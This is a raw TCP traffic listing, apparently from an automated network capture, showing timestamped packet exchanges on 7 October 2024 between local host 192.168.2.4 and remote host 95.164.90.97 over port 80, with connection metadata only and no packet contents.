Oct 7, 2024 18:43:36.183165073 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183176041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183182955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183186054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183197021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183199883 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183207035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183216095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183217049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183228016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183238029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183242083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183248997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183260918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183270931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183270931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183285952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183300972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183681965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183692932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183701992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183712959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183721066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183722019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183746099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183763027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183868885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184940100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184957027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184967995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184978008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184989929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.184992075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185000896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185022116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185033083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185044050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185048103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185048103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185065985 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185091972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185094118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185112000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185118914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185127020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185132027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185137987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185143948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185144901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185146093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185147047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185149908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185157061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185162067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185173988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185198069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185209036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185226917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185239077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185250044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185262918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185271978 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185273886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185285091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185296059 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185314894 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185389042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185406923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185417891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185425043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185427904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185439110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185447931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185451031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185461044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185471058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185473919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185482979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185492992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185492992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185503006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185512066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185514927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185530901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185540915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185542107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185551882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185563087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185564995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185573101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185575962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185584068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185596943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185601950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185626984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185645103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185679913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185695887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185702085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185710907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185714006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185719013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185724020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185729980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185731888 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185736895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185739040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185744047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185756922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185770035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185796976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185826063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185837984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185848951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185858965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185873985 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185875893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185887098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185889006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185899019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185909033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185913086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185920000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185930967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185940027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185940027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185950994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185961008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185967922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.185971022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185990095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.185991049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186001062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186002970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186012030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186022997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186029911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186033964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186070919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186089993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186403990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186415911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186425924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186436892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186440945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186449051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186455011 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186459064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186470032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186480999 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186480999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186491966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186499119 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186502934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186512947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186523914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186528921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186536074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186553955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186554909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186566114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186568975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186577082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186588049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186593056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186599016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186615944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186618090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186623096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186630964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186635971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186639071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186644077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186650991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186651945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186657906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186664104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186669111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186670065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186693907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186711073 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186794043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186805964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.186834097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.186858892 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.189358950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.191951990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.191966057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.191979885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.191989899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.191998959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192009926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192025900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192035913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192045927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192051888 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192055941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192065954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192070007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192075968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192085981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192095995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192106962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192117929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192148924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192169905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192344904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192361116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192373991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192384005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192394018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192399025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192404032 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192414999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192418098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192425013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192435026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192437887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192445993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192456007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192456007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192465067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192476034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192476988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192508936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192508936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192519903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192529917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192532063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192539930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192549944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192557096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192559958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192569971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192579985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192581892 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192589998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192600012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192600965 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192610979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192617893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192640066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192656040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192662954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192667961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192677975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192687988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192691088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192698956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192706108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192709923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192719936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192724943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192728996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192739964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192749977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192749977 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192759037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192768097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192769051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192780018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.192806005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.192826986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.193701029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193712950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193722963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193732977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193742990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193793058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193804026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193814993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193825960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193836927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193847895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193857908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193878889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.193922043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193922997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.193932056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193943024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193958998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193964958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.193969011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193979025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.193983078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.193989992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194000006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194005966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194010019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194020033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194030046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194036007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194039106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194048882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194052935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194060087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194071054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194071054 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194083929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194092035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194103003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194112062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194114923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194122076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194130898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194132090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194142103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194152117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194154024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194161892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194171906 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194171906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194196939 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194220066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194231033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194246054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194257021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194264889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194269896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194274902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194283962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194294930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194305897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194315910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194335938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194335938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194335938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194335938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194443941 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.194590092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194602966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194612980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.194622993 CEST	80	51632	95.164.90.97	192.168.2.4
